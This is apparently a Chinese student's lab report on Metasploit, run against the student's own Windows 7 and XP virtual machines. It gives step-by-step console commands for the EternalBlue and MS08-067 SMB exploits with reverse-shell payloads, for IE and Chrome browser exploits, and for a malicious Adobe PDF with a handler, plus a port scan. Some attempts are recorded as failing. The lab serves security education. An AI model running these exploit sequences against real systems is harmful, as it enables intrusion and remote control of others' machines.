一、基础问题回答

1.用自己的话解释什么是exploit,payload,encode.

答：
exploit：进行渗透攻击的模块合集，相当于一个载具
payload：相当于shellcode，攻击载荷，是一串具有攻击性的代码
encode：对所需传输文件进行编码，从而可以达到免杀目的

二、实验目的

本实践目标是掌握metasploit的基本应用方式，重点常用的三种攻击方式的思路。具体需要完成：

1.一个主动攻击实践，尽量使用最新的类似漏洞;
2.一个针对浏览器的攻击，尽量使用最新的类似漏洞；
3.一个针对客户端的攻击，如Adobe或office，尽量使用最新的类似漏洞；
4.成功应用任何一个辅助模块。

三、实验过程记录

0.准备工作

（2）关闭靶机防火墙

（3）打开445端口

（4）查看靶机IP地址

win7:192.168.113.133
window XP：192.168.113.134

1.一个主动攻击实践，尽量使用最新的类似漏洞;

msfconsole
search scanner/smb/smb_
use 7
show options
set rhosts 192.168.113.133
run

查找对应利用漏洞模块
search exploit/windows/smb/

第19条攻击方式：ms17-010（win7）

查看靶机该漏洞：nmap -sS -A --script=smb-vuln-ms17-010 -PO 192.168.113.133
选择对应MSF板块，设置靶机ip地址，执行攻击：
use exploit/windows/smb/ms17_010_eternalblue
set rhost 192.168.113.133
exploit

测试攻击：ipconfig

第15条攻击方式：ms08_067（XP系统）

msfconsole
search ms08_067//查找该漏洞使用的攻击模块
use exploit/windows/smb/ms08_067_netapi//进入攻击模块
show payloads
set payload generic/shell_reverse_tcp //设置payload为反向tcp连接
set RHOST 192.168.113.134//设置靶机IP (winxp ip)
set LPORT 1203 //设置攻击机端口
set LHOST 192.168.113.130//设置攻击机IP (kali ip)
exploit

2.一个针对浏览器的攻击，尽量使用最新的类似漏洞；

**查找对应利用漏洞模块 **
search exploit/windows/smb/

第117条攻击方式：ms10_018_ie_behaviors（win7）

use exploit/windows/browser/ms10_018_ie_behaviors
set payload windows/meterpreter/bind_tcp
set RHOSTS 192.168.113.133
set target 0
exploit

使用win7的IE浏览器访问

输入其他网址可以正常打开

第50条攻击方式：chrome_filereader_uaf（win7）

use exploit/windows/browser/chrome_filereader_uaf
set payload windows/meterpreter/reverse_tcp
set URIPATH /
set LHOST 192.168.113.130
exploit

靶机端在浏览器安装目录的文件夹开cmd输入C:\Program Files\Google\Chrome\Application>chrome.exe --no-sandbox以沙箱关闭的状态执行chrome.exe，在地址栏输入该地址，发现无法打开。

3.一个针对客户端的攻击，如Adobe或office，尽量使用最新的类似漏洞；

msfconsole //进入控制台
search adobe //进行查找
use windows/fileformat/adobe_cooltype_sing //使用漏洞
info //查看漏洞具体信息
set payload windows/meterpreter/bind_tcp //选择攻击载荷
show options //查看详细信息
set LPORT 1203//设置端口号
set RHOST 192.168.113.130//设置靶机IP地址
exploit #攻击

将生成的msf文件复制到桌面上cp -r "/root/.msf4/local/msf.pdf" "/home/kali/Desktop/"

use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/bind_tcp //选择攻击载荷
show options //查看详细信息
set RHOST 192.168.113.134 //设置靶机IP地址
set LPORT 1203 //设置端口号
exploit //攻击

回连失败。

4.成功应用任何一个辅助模块。

使用PortScan进行端口扫描

use auxiliary/scanner/portscan/tcp
show options
set rhosts 192.168.113.133
exploit

四、实践总结与体会

经过本次试验，我对Metasploit有了更深的理解，Metasploit完全颠覆了已有的渗透测试方式。几乎所有流行的操作系统都支持Metasploit，而且Metasploit框架在这些系统上的工作流程基本一样。它是由Ruby程序语言编写的模板化框架，具有很好的扩展性，便于渗透测试人员开发、使用定制的工具模板。在进行本次实验的时候，出现了复制到window XP的pdf文件无法回连到kali虚拟机。而且对PDF回连的实现过程不是很明确。仍在查询资料解决问题。